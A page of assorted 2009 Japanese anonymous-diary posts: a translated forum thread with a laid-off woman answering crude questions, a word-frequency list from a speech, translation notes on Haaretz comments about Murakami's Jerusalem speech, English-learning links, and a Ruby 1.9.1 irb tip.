 ま じ で ? しかし残念だ。高校生のときに言って欲しかったな。

外資系には結構いるよん。でもメンヘラとかも多いから注意

Are you sure? but I'm sorry. I wish you said that when I was in a high school.

There are a lot in foreign companies. But be careful because some of them has mental problems.

57 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:22:40.59 ID:Xrex6pm10

>>1

まん毛濃い?

>>57

毛が薄い家系なんです

Thin hair is common in my family.

59 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:26:42.84 ID:FcXM7v370

何カップ?

>>59

おしゃれな下着が見つかるくらいのサイズ

一度「肩凝るわあ」って言ってみたい

it's a size which you can find fashionable underwear.

I wish I could say "I have a stiff neck" just one time.

62 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:29:12.23 ID:Z1HjrWc4O

>>1は良い女性

屋台ラーメン

わかるwww

いざという時に頼りになるのはこういう男性

>>62

うおおお、嬉しいぜ!意外とみんな優しいな

でもおいらが本当に良い女かどうかは、人生をかけて証明していくことなんだぜ と気取ってみるテスト

Wow, I'm so happy! To my surprise, everyone is kind.

But, whether I'm a really good woman or not is what I have to prove until I die. I sound snobbish as a test.

63 :以下、名無しにかわりましてVIPがお送りします[]: 2009/02/17(火) 23:30:48.87 ID:daLECn7w0

証券だったら金融系の転職サイトあるはずだから

そこからさがせば?

とりあえずハロワいって失業手当の申請だな

>>63

転職ヘッドハンター経由だね。さっき早速電話かかってきた。軽く怖いw

一応まだ退職同意書にサインしてないから失職が完了してなくて、失業手当は申請できない

再就職先が決まったら速攻で退職して、手当めいっぱいもらえるように入社時期ずらすつもり

I'll change jobs through headhunter. I got a call a little while ago. I'm a little scared :)

My unemployment is not complete because I haven't signed the retirement letter. So I can't apply for the dole.

If I found a place of reemployment, I'll resign immediately and adjust the day I join the company to get the dole as much as I can.

2009-02-25

http://anond.hatelabo.jp/20090225205005

25~11個

24 from know 

23 who because with 

22 economy

21 an new people plan so

20 by every health

19 us

18 America care they time

17 do

16 also that's these

15 all Americans It's must years your

14 about education energy here jobs make no

13 budget if

12 cost country one recovery than there tonight we've why

11 crisis how out reform those when

10個

at banks college Congress don't future money nation next responsibility some tax what where world

9個

children deficit even just me meet need put up work year

8個

afford back cannot down economic end first help lending my see take times was way

7個

again businesses confidence days each ensure get government high history invest issue million once only power right system

6個

already another been begin bring buy century challenges clean come credit debt fact families financial goal helping largest long-term made most over president recession save schools still support through too

5個

address any ask bad before business called chamber commitment cut cuts effort ever family finally global home its job keep last lead like loans many market necessary never off opportunity other programs provide spend united we'll were would

4個

able accountable across act action administration am asked can't could critical cyber cycle cynical difficult does dollars easy force four-year he homes investment Iraq let longer may men moment national nearly old pay percent price private problems promise receive renewable restore say security send sense she should single soon stand States street struggle technology tell think values war well well-being we're without words workers worse yet

3個

ability absolutely after auto bank begins beyond breaks build cause change child comes community compete comprehensive concern confront costs created decade decisions Democrats depend depends didn't dime done efficient enough entrepreneurs everyone federal forward foundation given good govern great half her higher hold hope housing I'm includes industry inherited insurance into I've lay layoffs legislation letter life long lost major makes Medicare move nor often part passed place problem progress protect pushed regulations Republicans resources restart return root said same savings says seen Sen. sent serve simply solar solve speak spirit step struggling students taxpayer thank then today together training understand use wait want watching ways whatever which women won't working young

2個

abuse accounts affordable Afghanistan agenda allow along amid appointed approach areas around arrived assistance assure away balance become begun being believe benefits best billions bless boldly both bought built burden car career Carolina cars children's citizens clear close committed common company complete continue continued corporations countries creating crushing debates decline demand did different diploma directly disease doctors doesn't dollar doors dreams eliminate enterprise era example expand expanded extremism face failure far fastest-growing father few fiscal forces forge found four fraud full fully generation generations getting give God Greensburg had hard haven't healthy held helped highest him his historic households ideas ignore important industries innovation inspiration instead invented kind lasting launched law laying lift line lines list living loan look lose lower massive millions months mortgage much nations neighbor nobody office oil open order ordinary ourselves overseas own pass paychecks payment payments places policies priorities probably process program prosperity provided public quality quick quickly quitters quitting rates real rebuild recover reflects renewed require responsible re-start result revive rewards rules sacrifice safe second secure seek serious service set ship sitting small Social something source South spending spur state stock stopped stores strength strengthen strong stronger submit suffering surely takes teacher teachers term terrorists third though thousands threats three told tomorrow took tough trust trying tuition turn under upon very Vice view wake walk Wall waste wasteful weakened went what's wind worthy yourself

変化とか無視した。1個なんて載せられるかー!

2009-02-18

http://anond.hatelabo.jp/20090218205723 (ハアレツに寄せられたコメント) の訳抜

おつかれさまです。まず一箇所、訳抜けのところ。

Title: re #5

Name: B

City: SF State: CA

I get where you're coming from because I'm tired of utopian solutions from dreamers in Europe.

ヨーロッパ連中が言うユートピア的解決にはもう飽き飽きしちゃうよね。

  ↓

ヨーロッパ連中が言うユートピア的解決にはもう飽き飽きしちゃっているから、あなたの出身地に来ました。

ということでは。

#5の「ドンキホーテ」のコメントの人(Fed Upさん)は、この記事のコメントではCityのところに「バルセロナ」と書いていますが、おそらく別の記事のコメント欄で「米国出身」ということを書いているのではないかと思います。なおかつ、このコメントの投稿者のBさんは、Fed Upさんと過去にやり取りしたことがあるのでは、と。(ハアレツはコメントのページからコメント投稿者の過去コメントを確認する術がないようなので、推測することしかできませんが。)

 

 

同じコメントから:

I know we're not used to having media acknowledge our citizens as people, so we get defensive, but I give Mr. Murakami the benefit of the doubt.

メディアはぼくらを人間あつかいしないから、防戦一方だけど。でも村上さんに対して性急な判断は控えたい。

  ↓

確かに、メディアがぼくらを人間としてみなすことにぼくらは慣れていないから、どうしても防御的になるけど、村上さんに対して性急な判断は控えたい。

このdefensiveは「何かあると攻撃されていると思って過剰に身構える」といった意味でしょう。

(ところでここの「性急な判断は控えたい」って、いい訳ですね!)

 

 

もう少し下の方:

From his speech I feel he's criticizing the entire system that has our neighbors trying to destroy us in the first place and the world legitimizing it and the common acceptance of boycotting Israel because it's the in thing to do.

ぼくらのご近所さんイスラエル破壊しようとしている事、世界がそれを正当化しようとしている事、イスラエルボイコットの考えが一般化する事を強制するシステム全体を非難しているようにぼくには思えた。

ややこしい文ですね、これ。

he's criticizing

  the entire system that has our neighbors trying to destroy us in the first place

  and the world legitimizing it

  and the common acceptance of boycotting Israel because it's the in thing to do.

という構造ではないでしょうか。したがって、

彼の講演からは、まず(←in the first place)、ぼくらのご近所さんイスラエル破壊しようとするのを許している(←ちょっと訳語が変。that has our neighbous のhasが《使役》)システム全体を非難し、それを正当化している世界を非難し、流行しているから(←the in thing)という理由でイスラエルボイコットすることが一般に受け入れられていることを非難しているように、ぼくには思えた。

※「訳語」はちゃんと検討していませんのであしからずご了承ください。

 

 

あるいは、

he's criticizing

  the entire system that has our neighbors trying to destroy us in the first place

  and (the entire system that has) the world legitimizing it

  and the common acceptance of boycotting Israel because it's the in thing to do.

という構造かもしれません。この場合、

彼の講演からは、まず、ぼくらのご近所さんイスラエル破壊しようとするのを許し、また世界にそれを正当化させているシステム全体を非難し、また、流行しているからという理由でイスラエルボイコットすることが一般に受け入れられていることを非難しているように、ぼくには思えた。

常に卵の側に(ハアレツに寄せられたコメント

http://anond.hatelabo.jp/20090218005155

村上春樹:「常に卵の側に」( http://www.haaretz.com/hasen/spages/1064909.html )でハアレツに寄せられたコメントの一部です。


http://www.haaretz.com/hasen/objects/pages/ResponseDetails.jhtml?resNo=4542207&amp;itemno=1064909&amp;cont=2

Title: To Mr. Murakami: a few words of reply from an egg

Name: A Philosopher

City: State:

First, let me welcome you to the region. Second, I would like to disagree with you about your description of literature as a skilful lie. A lie must, by definition, involve malice, deception, whereas literature is about imagination: there is no malice about that. Unfortunately, much of what you hear lately on international TV about Israel are indeed lies, not even fiction. You say that Israel is the wall and the Palestinians are the eggs, just because we have Tanks. You tend to forget that the Palestinians are part of more than one billion Muslims in the world, many of whom would like to get rid of Israel if they just could. You also forget that if the situation were reversed and the Palestinians were instead in possession of tanks, there wouldn`t be any eggs left in the middle-east. The wall we build is exactly to protect us, as eggs, from the wolf lurking outside. And If the terrorists didn`t use their own eggs as shield, they wouldn`t break either. All the best to you.

題:村上さんに卵からいくつかの回答

まずは、中東までご苦労さまでした。で、技巧に富んだ嘘として文学を称された件については賛成できません。嘘とはその定義によれば、悪意やごまかしを含んでいるのに対し、文学想像力に関するものであり、悪意はありません。不幸にもイスラエルに関してあなたが国際報道で目にしたことはまったくの嘘であり、創作でさえありません。イスラエルは壁でパレスチナは卵だとおっしゃられますが、たまたま戦車が私たちにあっただけです。お忘れのようですがパレスチナは10億以上の人口を抱えるイスラム世界の一部です。その多くがもし可能ならイスラエルを消滅させたいと願っています。逆の立場で考えればパレスチナ人戦車を持ったら中東から卵は消え去る事も思い出して下さい。外をうろつく狼から身を守るためだけに私たちは壁を作ったのです。テロリスト自分のところの卵を人間の盾に仕立てなければ、割れることもなかったでしょう。

ごきげんよう


http://www.haaretz.com/hasen/objects/pages/ResponseDetails.jhtml?itemno=1064909&amp;resNo=4543094

Title: Like Quixote tilting at windmills

Name: Fed Up

City: Barcelona State:

I don`t doubt that this fellow`s books may be addictive, but I do doubt the value of getting hooked on stories that are all, apparently, based on a false ontology of the world being clearly divided into "walls" and "eggs." As talkback #1 points out, even tank-drivers have their fragility, and to deny their humanity by summarily labeling them "walls," and considering them to be part of some chimerical menace called "the system," is to paint a thin veneer of chivalry over a rotten base of moral recklessness.

What`s been going on in Sderot over the last several years? Have Gazans, driven to desperation by the evil system-monster, been left with no option but to toss their eggs against the walls that surround them? Is it evil for people on the receiving end to retreat unto bomb-shelters (aka "walls") against which these eggs can`t help but break?

Mr. Murakami, walls don`t break eggs unless there is someone throwing those eggs.

題:まるでドンキホーテ

彼の本がやみつきになるのは私も否定しないが、与太話、明らかに間違った本体論、つまり「壁」と「卵」とに世界を分類するというのは何の意味もない。1番目のコメントが指摘するように戦車の兵士だって(卵のように)壊れやすい。あっさり彼らを「壁」とひとくくりして、「システム」という名のでっちあげた脅威にしたてるなんて、わけわからん理由で廃屋に挑む騎士のようなもんだ。スデロット(Sderot)でここ何年もなにが起きている?ガザ連中は悪のシステムモンスターのせいでやけっぱちのやけくそ自分とこの卵をぐるりと囲む壁に投げつけたというのだろうか?シェルターに追いつめられた(これも「壁」だよね、卵は仕方なしに投げつけられて壊れる)人々が邪悪だって?村上さん、誰かが卵を投げなければ壁は卵を壊さないんだよ。


http://www.haaretz.com/hasen/objects/pages/ResponseDetails.jhtml?itemno=1064909&amp;resNo=4543134

Title: wall &amp; eggs

Name: JR

City: Amsterdam State:

bit folish to say that the only option is that the hurt civilians are the eggs and the israeli tank and bombs are the wall. Never thought that the israel people are the eggs in a small basket called eretz jisrael which is surrounded by a rather large muslim wall?

No fiction here mr , just hard facts.

Kind regards from the Netherlands

題:壁と卵

負傷した人々が卵でイスラエル戦車爆弾が壁だとしか言えないなんてちょっとまぬけだね。もっと大きいムスリムの壁に包囲されたイスラエルの地(eretz jisrael)という小さなかごにいる人たちが卵だって考えなかったのかね?フィクションじゃないよ、ちゃんとした事実だ。


http://www.haaretz.com/hasen/objects/pages/ResponseDetails.jhtml?itemno=1064909&amp;resNo=4543210

Title: re #5

Name: B

City: SF State: CA

I get where you`re coming from because I`m tired of utopian solutions from dreamers in Europe.

But I believe Murakami is a guy who also understands the tank driver and our kids in Sderot. I know we`re not used to having media acknowledge our citizens as people, so we get defensive, but I give Mr. Murakami the benefit of the doubt.

From his speech I feel he`s criticizing the entire system that has our neighbors trying to destroy us in the first place and the world legitimizing it and the common acceptance of boycotting Israel because it`s the in thing to do. This guy is acknowledging our fight to overcome this as individuals and as societies.

This guy is deeper than our critics from Europe, and this guy is a novelist, not a critic.

In Norwegian Wood he painted a really accurate picture of some self-righteous university organizations, quite similar to many of our critics. All I`m saying is before dismissing him or arguing, see that he`s not picking fights or sides.. besides us eggs

題:「ドンキホーテ」のコメント主へ

ヨーロッパ連中が言うユートピア的解決にはもう飽き飽きしちゃうよね。

村上戦車の兵士やスデロット子供たちも理解していると思う。メディアはぼくらを人間あつかいしないから、防戦一方だけど。でも村上さんに対して性急な判断は控えたい。ぼくらのご近所さんイスラエル破壊しようとしている事、世界がそれを正当化しようとしている事、イスラエルボイコットの考えが一般化する事を強制するシステム全体を非難しているようにぼくには思えた。こいつは僕らの戦いが個人として、社会として克服されるって事を知ってる。

ヨーロッパ評論家よりずっとわかってるし、彼は小説家であって評論家じゃない。

ノルウェイの森に出てくる独善的な学生運動家は評論家連中みたいで、きっちり描かれている。彼のことをくさす前に、論争を挑んだり一方の側につくつもりがないのを理解しないと。

[] <英語English

[Resources] リンク集 Useful Link Resources

  1. TESL/TEFL/TESOL/ESL/EFL/ESOL Links
  2. Useful English Language Learning Links
  3. Online Dictionary, Language Guide, Foreign Language and Etymology
  4. Dave's ESL Cafe's Web Guide!
  5. FREE -- Teaching Resources and Lesson Plans from the Federal Government
  6. Cool ESL Sites
  7. Poornima D'Souza's portaportal

[English/English] 英語英語を学ぶ

  1. World English : test, learn and study the English language online
  2. Advanced English lessons
  3. UsingEnglish.com - Learning English (ESL) Online
  4. Learn English
  5. Free English Tests for ESL/EFL, TOEFL®, TOEIC®, SAT®, GRE®, GMAT®
  6. Activities for ESL/EFL Students (English Study)
  7. English Club - Learn English | Teach English
  8. Learn English - e Learn English Language
  9. Western/Pacific Literacy Network/CNN SF Learning Resources
  10. Learn English Online: Free English Courses To Improve Your English
  11. englishforums.com
  12. ESL Teachers Board
  13. Internet TESL Journal (For ESL/EFL Teachers)
  14. How to learn English | Antimoon.com
  15. English-learning and pronunciation courses with audio, online dictionary and more
  16. English as 2nd Language - Learn English
  17. Learn English
  18. Learning Resources gateway
  19. BBC Learning English | Home page
  20. British Council - LearnEnglish
  21. BrainPOP ESL | Pronouns and Be | Hi, I'm Ben!

[Japanese/English] 日本語英語を学ぶ

  1. ニュース英会話 - トップ
  2. 無料英語学習WEBサイト
  3. 英語学習サイト活用英語を学ぶ - [英語の学び方・活かし方]All About
  4. 英会話 イーオン オンライン無料英語学習 ペラペラ
  5. 英語:スペースアルク
  6. 英語
  7. VOA Special English英語を学ぼう [英単語 英会話 ニュース] みんなで使う英語学習材 eigozai
  8. Eigoriki.net
  9. 単語力タンゴリキ) 英単語の語彙力判定
  10. 英文法大全/英語 文法 表現 用法英語学習
  11. 英語喫茶英語英文法英会話
  12. livedoor英語学習 powered by ココネ

[Dictionary] <辞書

ページ下のリンクより「翻訳サイトオンライン辞書 Translation / Online Dictionary」へ

[Tool] <ツールAdd-on/Software/Web Service

  1. フェッチイミ :: Firefox Add-ons
  2. MouseoverDictionary
  3. EReK (English Sentence Search)
  4. ずるっこ!
  5. iPhone英語学習しましょアプリまとめ6選 - NAVER まとめ

[SNS] SNSスタイルサイト communicate with native speakers

  1. englishforums.com
  2. My Happy Planet
  3. Livemocha: Language Learning with Livemocha | Learn a Language Online - Free!
  4. Lang-8
  5. イングリッシュセントラル English Central
  6. Q&A 英語学習コミュニティ - えそら
  7. English, baby! でオンライン無料英語を学び、英語チャットしよう!
  8. BUSUU.com
  9. yappr
  10. breakr | break the language barrier
  11. SharedTalk Language Exchange
  12. HiNative | A global platform for your questions

[Writing] ライティング、文法 Advanced Writing Lectures

  1. English Grammar and Writing : English language courses, English Grammar Online
  2. Academic Writing in English (AWE)
  3. Materials for Students: Table of Contents
  4. University of Richmond Writer's Web
  5. POWA | Writing Ideas, Help, Community
  6. Guide to Grammar and Writing
  7. Suite101.com: Online Magazine and Writers' Network
  8. Common Errors in English
  9. HyperGrammar
  10. Lynch, Guide to Grammar and Style — Contents
  11. Writing Creatively and Successfully at Scribblepad (UK)
[Academic Writing] 学術論文執筆
  1. Academic Phrasebank
  2. Purdue OWL
  3. Using English for Academic Purposes
  4. Advice on Academic Writing
  5. Writing Machine Home Page
  6. Academic Writer

[RSS] RSS feeds

ツールリンクアップデート更新中の教材紹介記事など。

[Podcast] ポッドキャストリスニング教材 Podcast / Listening Resources

  1. English as a Second Language Podcast
  2. ESL PodcastFUN ESL Podcast Culips
  3. Better at English - Learn English - EFL ESL podcast!
  4. Home - Definitely Not the Opera | CBC Radio
  5. TESL/TEFL/TESOL/ESL/EFL/ESOL Links - ESL : Listening : Podcasts
  6. Introduction to English Learning Podcasts for Teachers and Learners
  7. VerbaLearn - Study vocabulary for free
  8. English Listening Lounge
  9. NPR Podcast Directory
  10. The Linguist - Learn English, Learn Languages Online: Japanese podcast
  11. こどもと英語で話そう!
  12. Transmissions From Beyond
  13. おすすめポッドキャスト:スペースアルク
  14. ESL Podcast – Everyday English: idioms, slang and useful vocabulary (Culips)
  15. The Internet Movie Script Database (IMSDb)
  16. ニュース英会話 - トップ
  17. 英語で(無料で)聞く世界の名作200選 読書猿Classic: between / beyond readers
発音
  1. Phonetics: The Sounds of English and Spanish - The University of Iowa
  2. 英語発音イントネーション
  3. 英語発音入門
  4. 日本人英語にお悩みの方へオススメネイティブのような発音が出来るようになる練習動画7選 | English Hacker

[Youtube] 動画学習 Movie Resources

  1. YouTube - 1. What a Verb Is, and What Verbs Aren't. English Grammar
  2. YouTube - Lesson 1 - Preferences - English Grammar
  3. YouTube - Lesson 1 - "Outdoors" - English Vocabulary
  4. Academic Earth - Video lectures from the world's top scholars
  5. YouTube EDU』
  6. TED: Ideas worth spreading
  7. NIH VideoCasting and Podcasting
  8. BBC iPlayer - Home
  9. Vídeos que coinciden con tu consulta: tag:"John's コメディ英会話ショー"
  10. TUBE+

[News] ニュースソース 時事

  1. VOA News - Learning American English With News and Feature Programs in VOA Special English
  2. Online NewsHour | PBS
  3. CNN.com - Breaking News, U.S., World, Weather, Entertainment & Video News
  4. TodaysFrontPages

[Extensive Reading] 読み物(小説ブログなど) Novels / Blogs

  1. PROJECT GUTENBERG OFFICIAL HOME SITE - INDEX -- Free Books On-Line -
  2. Extensive Reading Main Page
  3. Classic Reader :: Read Free Classic Books Online
  4. EServer.org: Accessible Writing

[Culture] 文化マナー生活習慣 Culture / Manner / Life Style / How-To

  1. wikiHow - The How-to Manual That You Can Edit
  2. Simple English Wikipedia
  3. Japanese in U.S.A.(アメリカにお住まいの方のお役立ち情報です)
  4. The Eduers Higher Education
  5. FREE -- Teaching Resources and Lesson Plans from the Federal Government
  6. Internet Slang words - Internet Dictionary - InternetSlang.com

[Search Word] 検索ワード Words for Searching Resources

  1. 学習
  2. 勉強
  3. 教育
  4. 方法
  5. 教材
  6. 翻訳
  7. 辞書
  8. 便利
  9. 役立つ
  10. 文法

語学学習サイト個人的リンクメモ / Lists of Language Learning Links)

http://anond.hatelabo.jp/20090101193230

2009-01-31

最新版Ruby-1.9.1を思う存分試してみたい人のためのちょっとしたハック

Ruby-1.9.1リリースおめでとう!

http://www.ruby-lang.org/ja/news/2009/01/30/ruby-1-9-1-released/

まあ、ライブラリがぜんぜん1.9に対応してないから今すぐ1.8から移行するなんてことはできないんだけど、こうやって安定版を出せばライブラリの移行を促せるんだから、ちょうど鶏が先か卵が先かみたいなもんで、リリースすることに意味があるんだよね。

ところで、Ruby といえば、そのままコマンドラインruby を使っている人はあんまりいなくて、普通irb を使うよね。でも、単に ruby自分のホームディレクトリmake しただけだと、当然、irb は使えないんだ。でもこれだけためにインストールするのは嫌。そこでどうするか?

実は最近rubyMakefile には作ったばっかりの rubyライブラリパス込みで動作させるコードが入ってる。これを使って irb を動かしてみるというのが今回のハックのネタというわけ。

masuda@localhost:~/ruby-1.9.1-p0 $ makerubymake はすべて終了したとする)

masuda@localhost:~/ruby-1.9.1-p0 $ cat &gt; test.rb
require 'irb'
require 'irb/completion'
IRB.start
^D
(^D はCtrl-dで入力終了のこと。普通は表示されない)

masuda@localhost:~/ruby-1.9.1-p0 $ make runruby
./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb  ./runruby.rb --extout=.ext  -- ./test.rb
irb(main):001:0&gt; puts "Have a fun!"

これで適切なライブラリパスが指定されて、その場で最新の ruby が使い放題だ。Readlineを使ってるから編集も楽だし、マジおすすめ

というわけで、Ruby開発者さんたちに感謝しつつ、Enjoy Hacking! ピース

ログイン ユーザー登録
ようこそ ゲスト さん